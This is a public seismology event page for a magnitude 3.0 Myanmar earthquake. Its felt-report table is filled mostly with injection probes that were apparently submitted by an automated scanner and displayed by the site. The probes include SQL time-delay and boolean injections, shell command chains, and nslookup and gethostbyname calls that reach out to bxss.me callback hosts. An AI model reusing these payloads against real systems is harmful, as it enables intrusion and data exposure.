National Center for Seismology

Ministry of Earth Sciences

Government of India

   
Back to Earthquakes

M: 3.0 - Myanmar

Origin Time 2026-03-09 02:31:24 (IST)
Lat, Long 26.51, 96.03
Magnitude 3.0
Depth 96km
Event Status Reviewed

40
35
30
25
20
15
10
5
0
6065707580859095100
 

Responses vs. Time Plot

Hours
MMI Distance Latitude Longitude Date & Time
III 12619.70 KM 39.7817 -89.6501 2026-03-13 07:55:30 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:11:54 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:11:55 UTC
III 17113.37 KM -1 OR 5*5=25 -- -89.6501 2026-03-13 08:11:56 UTC
III 17113.37 KM -1 OR 5*5=25 -89.6501 2026-03-13 08:11:56 UTC
III 17113.37 KM -1' OR 5*5=25 -- -89.6501 2026-03-13 08:11:57 UTC
III 17113.37 KM -1" OR 5*5=25 -- -89.6501 2026-03-13 08:11:58 UTC
III 17113.37 KM -1' OR 5*5=25 or '2ZNhga0a'=' -89.6501 2026-03-13 08:11:58 UTC
III 17113.37 KM -1" OR 5*5=25 or "lHc30W28"=" -89.6501 2026-03-13 08:11:58 UTC
III 12619.70 KM 39.7817*if(now()=sysdate(),sleep(15),0) -89.6501 2026-03-13 08:11:59 UTC
III 12619.70 KM 39.78170'XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2026-03-13 08:12:01 UTC
III 12619.70 KM 39.78170"XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2026-03-13 08:12:04 UTC
III 17004.38 KM echo cjriym$()\ mwscjh\nz^xyu||a #' &echo cjr -89.6501 2026-03-13 08:12:08 UTC
III 17004.38 KM &echo vyrmdh$()\ yqspcx\nz^xyu||a #' &echo vy -89.6501 2026-03-13 08:12:08 UTC
III 12619.70 KM 39.7817&echo hekthx$()\ pagvpd\nz^xyu||a #' & -89.6501 2026-03-13 08:12:13 UTC
III 17004.38 KM (select(0)from(select(sleep(15)))v)/*'+(selec -89.6501 2026-03-13 08:12:13 UTC
III 17004.38 KM |echo dgavji$()\ yvapjq\nz^xyu||a #' |echo dg -89.6501 2026-03-13 08:12:15 UTC
III 12619.70 KM 39.7817|echo sdjhmd$()\ nknzpb\nz^xyu||a #' | -89.6501 2026-03-13 08:12:16 UTC
III 17004.38 KM expr 9000148702 - 983950 -89.6501 2026-03-13 08:12:19 UTC
III 12619.70 KM 39.7817-1; waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:12:20 UTC
III 17004.38 KM (nslookup -q=cname hitvhalaphhrq4908f.bxss.me -89.6501 2026-03-13 08:12:20 UTC
III 17004.38 KM $(nslookup -q=cname hitnpbmqidbhlda0e5.bxss.m -89.6501 2026-03-13 08:12:21 UTC
III 17004.38 KM &nslookup -q=cname hiteazaoroozxd4e8e.bxss.me -89.6501 2026-03-13 08:12:24 UTC
III 12619.70 KM 39.7817-1); waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:12:26 UTC
III 17004.38 KM &(nslookup -q=cname hitljbknyllvhca6a3.bxss.m -89.6501 2026-03-13 08:12:26 UTC
III 17004.38 KM |(nslookup -q=cname hitzfzlynxjlsd19d8.bxss.m -89.6501 2026-03-13 08:12:27 UTC
III 17004.38 KM `(nslookup -q=cname hitrhywblnosm1bc89.bxss.m -89.6501 2026-03-13 08:12:28 UTC
III 17004.38 KM ;(nslookup -q=cname hitrwqpscjpgaebb04.bxss.m -89.6501 2026-03-13 08:12:28 UTC
III 17004.38 KM |(nslookup${IFS}-q${IFS}cname${IFS}hitxaksgvp -89.6501 2026-03-13 08:12:29 UTC
III 17004.38 KM &(nslookup${IFS}-q${IFS}cname${IFS}hitxazsoep -89.6501 2026-03-13 08:12:31 UTC
III 12619.70 KM 39.7817-1 waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:12:31 UTC
III 8637.25 KM 39.7817 echo lipnzd$()\ eijqaz\nz^xyu||a #' &echo lip 2026-03-13 08:12:41 UTC
III 8637.25 KM 39.7817 &echo zxnezb$()\ bvkejm\nz^xyu||a #' &echo zx 2026-03-13 08:12:42 UTC
III 12619.70 KM 39.7817 -89.6501&echo vxjrca$()\ yegvuu\nz^xyu||a #' 2026-03-13 08:12:44 UTC
III 8637.25 KM 39.7817 |echo yyzwol$()\ torwxl\nz^xyu||a #' |echo yy 2026-03-13 08:12:45 UTC
III 17004.38 KM response.write(9962733*9151270) -89.6501 2026-03-13 08:12:46 UTC
III 12619.70 KM 39.7817 -89.6501|echo ebhuzk$()\ auayfa\nz^xyu||a #' 2026-03-13 08:12:46 UTC
III 12619.70 KM 39.7817u25tyKXm'; waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:12:47 UTC
III 17004.38 KM '+response.write(9962733*9151270)+' -89.6501 2026-03-13 08:12:47 UTC
III 17004.38 KM "+response.write(9962733*9151270)+" -89.6501 2026-03-13 08:12:48 UTC
III 8637.25 KM 39.7817 expr 9000573887 - 951416 2026-03-13 08:12:52 UTC
III 8637.25 KM 39.7817 response.write(9370005*9396211) 2026-03-13 08:12:52 UTC
III 8637.25 KM 39.7817 (nslookup -q=cname hitxyohihwawbe507e.bxss.me 2026-03-13 08:12:54 UTC
III 8637.25 KM 39.7817 '+response.write(9370005*9396211)+' 2026-03-13 08:12:54 UTC
III 8637.25 KM 39.7817 $(nslookup -q=cname hitkxzjdicsbs9a74a.bxss.m 2026-03-13 08:12:54 UTC
III 8637.25 KM 39.7817 "+response.write(9370005*9396211)+" 2026-03-13 08:12:54 UTC
III 8637.25 KM 39.7817 &nslookup -q=cname hitkrjokruvap92dae.bxss.me 2026-03-13 08:12:54 UTC
III 12619.70 KM 39.7817-1 OR 453=(SELECT 453 FROM PG_SLEEP(15 -89.6501 2026-03-13 08:12:54 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:54 UTC
III 8637.25 KM 39.7817 &(nslookup -q=cname hitpvmjkxtgka9fc60.bxss.m 2026-03-13 08:12:54 UTC
III 8637.25 KM 39.7817 |(nslookup -q=cname hitfvojythquo6fbbe.bxss.m 2026-03-13 08:12:55 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:55 UTC
III 8637.25 KM 39.7817 `(nslookup -q=cname hitznrbuglbca9c2ab.bxss.m 2026-03-13 08:12:55 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:55 UTC
III 8637.25 KM 39.7817 ;(nslookup -q=cname hitnegftcwrjs1ef41.bxss.m 2026-03-13 08:12:55 UTC
III 8637.25 KM 39.7817 |(nslookup${IFS}-q${IFS}cname${IFS}hitlgibctc 2026-03-13 08:12:55 UTC
III 8637.25 KM 39.7817 &(nslookup${IFS}-q${IFS}cname${IFS}hitmfeqvwp 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817-1) OR 46=(SELECT 46 FROM PG_SLEEP(15) -89.6501 2026-03-13 08:12:56 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:57 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:12:57 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:04 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:04 UTC
III 12619.70 KM 39.7817-1)) OR 779=(SELECT 779 FROM PG_SLEEP( -89.6501 2026-03-13 08:13:04 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:04 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:05 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:05 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:05 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:05 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:05 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:06 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:06 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817GEAerUPL' OR 338=(SELECT 338 FROM PG_S -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:07 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.69 KM 39.781784WgAiZv') OR 432=(SELECT 432 FROM PG_ -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:09 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:10 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:11 UTC
III 12619.70 KM 39.7817l5wmSOCM')) OR 164=(SELECT 164 FROM PG -89.6501 2026-03-13 08:13:12 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:12 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:12 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:12 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:12 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:13 UTC
III 12619.70 KM 39.7817*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CH -89.6501 2026-03-13 08:13:13 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:13 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:13 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:13 UTC
III 17004.38 KM ) -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 17004.38 KM !(()&&!|*|*| -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 17004.38 KM ^(#$!@#$)(()))****** -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 8637.25 KM 39.7817 ) 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:14 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 8637.25 KM 39.7817 !(()&&!|*|*| 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 8637.25 KM 39.7817 ^(#$!@#$)(()))****** 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:15 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)|| -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817'" -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:16 UTC
III 12619.70 KM 39.7817%2527%2522\'\" -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:17 UTC
III 17004.38 KM @@wGqCN -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:17 UTC
III 17004.38 KM (select 198766*667891) -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:17 UTC
III 17004.38 KM (select 198766*667891 from DUAL) -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:17 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:18 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:19 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:20 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:21 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:22 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:22 UTC
III 8714.90 KM 39.7817 -1 OR 5*5=25 -- 2026-03-13 08:13:23 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:23 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:23 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:23 UTC
III 8714.90 KM 39.7817 -1 OR 5*5=25 2026-03-13 08:13:23 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:23 UTC
III 8714.90 KM 39.7817 -1' OR 5*5=25 -- 2026-03-13 08:13:24 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:24 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:24 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:24 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:24 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:24 UTC
III 8714.90 KM 39.7817 -1" OR 5*5=25 -- 2026-03-13 08:13:24 UTC
III 8714.90 KM 39.7817 -1' OR 5*5=25 or 'd4QWaAbM'=' 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 8714.90 KM 39.7817 -1" OR 5*5=25 or "xSLY6XKm"=" 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:25 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:26 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:26 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:26 UTC
III 12619.70 KM 39.7817 -89.6501*if(now()=sysdate(),sleep(15),0) 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 17004.38 KM '"() -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817'&&sleep(27*1000)*ywyfpi&&' -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817"&&sleep(27*1000)*uvhozq&&" -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.65010'XOR(-89.6501*if(now()=sysdate(),sle 2026-03-13 08:13:27 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:32 UTC
III 12619.70 KM 39.7817'||sleep(27*1000)*xactdh||' -89.6501 2026-03-13 08:13:32 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:33 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:35 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:35 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:35 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:35 UTC
III 12619.70 KM 39.7817"||sleep(27*1000)*mdpcih||" -89.6501 2026-03-13 08:13:35 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:35 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:36 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.65010"XOR(-89.6501*if(now()=sysdate(),sle 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:37 UTC
III 8637.25 KM 39.7817 '"() 2026-03-13 08:13:38 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:39 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:39 UTC
III 12619.70 KM 39.7817 -89.6501'&&sleep(27*1000)*bitsvz&&' 2026-03-13 08:13:40 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:40 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:40 UTC
III 17004.38 KM '.gethostbyname(lc('hitrr'.'fqpqlbrac433b.bxs -89.6501 2026-03-13 08:13:40 UTC
III 12619.70 KM 39.7817 -89.6501"&&sleep(27*1000)*sdaklb&&" 2026-03-13 08:13:41 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:41 UTC
III 17004.38 KM ".gethostbyname(lc("hitel"."ngnouubj54afc.bxs -89.6501 2026-03-13 08:13:41 UTC
III 12619.70 KM 39.7817 -89.6501'||sleep(27*1000)*sjblkv||' 2026-03-13 08:13:41 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:41 UTC
III 17004.38 KM gethostbyname(lc('hityz'.'auxowyfc2d50b.bxss. -89.6501 2026-03-13 08:13:42 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:42 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:43 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:43 UTC
III 12619.70 KM 39.7817 -89.6501"||sleep(27*1000)*vfkaaa||" 2026-03-13 08:13:43 UTC
III 8637.25 KM 39.7817 '.gethostbyname(lc('hitul'.'cknnaouc6af86.bxs 2026-03-13 08:13:43 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:43 UTC
III 8637.25 KM 39.7817 (select(0)from(select(sleep(15)))v)/*'+(selec 2026-03-13 08:13:43 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:44 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:44 UTC
III 8637.25 KM 39.7817 ".gethostbyname(lc("hitli"."hmgichdgb59e1.bxs 2026-03-13 08:13:44 UTC
III 8637.25 KM 39.7817 gethostbyname(lc('hitby'.'dxukblyk310d1.bxss. 2026-03-13 08:13:46 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:46 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:46 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:46 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:47 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:49 UTC
II 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:49 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:49 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:50 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:51 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:51 UTC
III 12619.70 KM 39.7817 -89.6501-1; waitfor delay '0:0:15' -- 2026-03-13 08:13:51 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:55 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:57 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:57 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:57 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:58 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:58 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:58 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:58 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:58 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:13:58 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:14:00 UTC
III 12619.70 KM 39.7817 -89.6501-1); waitfor delay '0:0:15' -- 2026-03-13 08:14:02 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:14:03 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:14:03 UTC
III 12619.70 KM 39.7817 -89.6501 2026-03-13 08:14:03 UTC
